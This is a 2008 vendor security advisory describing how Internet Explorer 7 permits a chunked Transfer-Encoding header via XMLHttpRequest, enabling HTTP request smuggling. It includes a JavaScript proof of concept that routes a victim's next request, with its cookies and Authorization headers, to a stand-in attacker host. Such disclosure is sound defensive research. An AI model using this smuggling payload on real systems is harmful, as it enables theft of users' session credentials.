Code
Advisories

Tested Versions:

Internet Explorer 7.0.5730.11

Tested OS:

XP Professional SP2 Italian

Minded Security ReferenceID:

MSA01240108

Credits:

Discovery by

Stefano Di Paola of Minded Security

stefano.dipaola [_at_] mindedsecurity.com

Reference:

MSA01240108

Severity:

Medium/High

Summary

Internet Explorer 7 allows setting of header “Transfer Encoding: chunked” in setRequestHeader exposing the browser to Http Request Splitting/Smuggling attacks.

Analysis

Let’s suppose the following scenery (which is not necessarily the only one).

– A site vulnerable to reflected Xss is hosted on the same host as an attacker site.

– User has no proxy configured.

As IE7 allows setting

setRequestHeader("Transfer-Encoding","chunked");

so, it allows using the payload in a POST request which will be considered as another request by the web server.

For example:

-----------------------------------------------------

var x=new XMLHttpRequest();

for(var i =0; i<1;i++){

x.open("POST","/");

x.setRequestHeader("Transfer-Encoding","chunked");

x.setRequestHeader("Proxy-Connection","keep-alive");

x.setRequestHeader("Connection","keep-alive");

x.onreadystatechange=function (){

if (x.readyState == 4){

}

}

try{

x.send("0\r\n\r\nPOST / HTTP/1.1\r\nHost:

at.tack.er\r\nContent-Length: SOMELENGTH\r\n\r\n") }catch(r){} }

-----------------------------------------------------

the request will become:

----------------------------------------------------

POST / HTTP/1.1

Accept: */*

Accept-Language: it

Transfer-Encoding: chunked

Connection: keep-alive

Cache-Control: no-cache

Referer: http://vi.ct.im/

UA-CPU: x86

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1;

.NET CLR 2.0.50727; .NET CLR 1.1.4322)

Host: at.tack.er

Content-Length: 67

0

POST /?Send1 HTTP/1.1

Host: at.tack.er

Content-Length: TheLenghtOfTheNextRequest

----------------------------------------------------

That way, the web server, will wait for the payload, keeping the

socket open.

Infact RFC 2616 says that :

---------

If a message is received with both a Transfer-Encoding header

field and a Content-Length header field, the latter MUST be

ignored.

---------

So the payload will be parsed as chunked.

Then by forcing IE to perform several requests on the victim host, the browser will reuse the previous (open) socket, thus sending the request as payload to the attacker site.

When at.tack.er host receive the request, there are several attacks, it could perform:

1. Stealing the headers of the request to vi.ct.im host (httponly cookies, Authorization data..)

2. Perform local cache poisoning by using Expire: header from the attacker poisoned page.

A proof of concept was developed.

Keep in mind that several other sceneries could be abused as well (see references).

Credits

Stefano di Paola is credited with the discovery of this vulnerability.

Disclosure Timeline

25/01/2008 Initial vendor notification

25/01/2008 Vendor Confirmed

21/03/2008 Public advisory

Reference

[1] “Http Request Smuggling”, Chaim Linhart, Amit Klein, Ronen

Heled, Steve Orrin, 2005.

http://www.cgisecurity.com/lib/HTTP-Request-Smuggl…

[2] “Exploiting the XmlHttpRequest object in IE – Referrer spoofing,

and a lot more…”, Amit Klein, 2005.

http://www.securityfocus.com/archive/1/411585

[3] “HTTP Header Injection Vulnerabilities in the Flash Player

Plugin”, 2006.

http://download2.rapid7.com/r7-0026/

[4] “Auto Injecting Cross Domain Scripting”, pp 6-7, Stefano Di Paola,

Giorgio Fedon, 2007

http://www.wisec.it/docs.php?id=4

Disclaimer

The information within this paper may change without notice. Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties with regard to this information.

In no event shall the author be liable for any damages whatsoever arising out of or in connection with the use or spread of this information.

Any use of this information is at the user’s own risk. Permission is hereby granted for the redistribution of this Alert electronically. It is not to be edited in any way without express consent of Minded Security Research Lab. If you wish to reprint the whole or any part of this Alert in any other medium excluding electronic medium, please e-mail research_at_mindedsecurity.com for permission.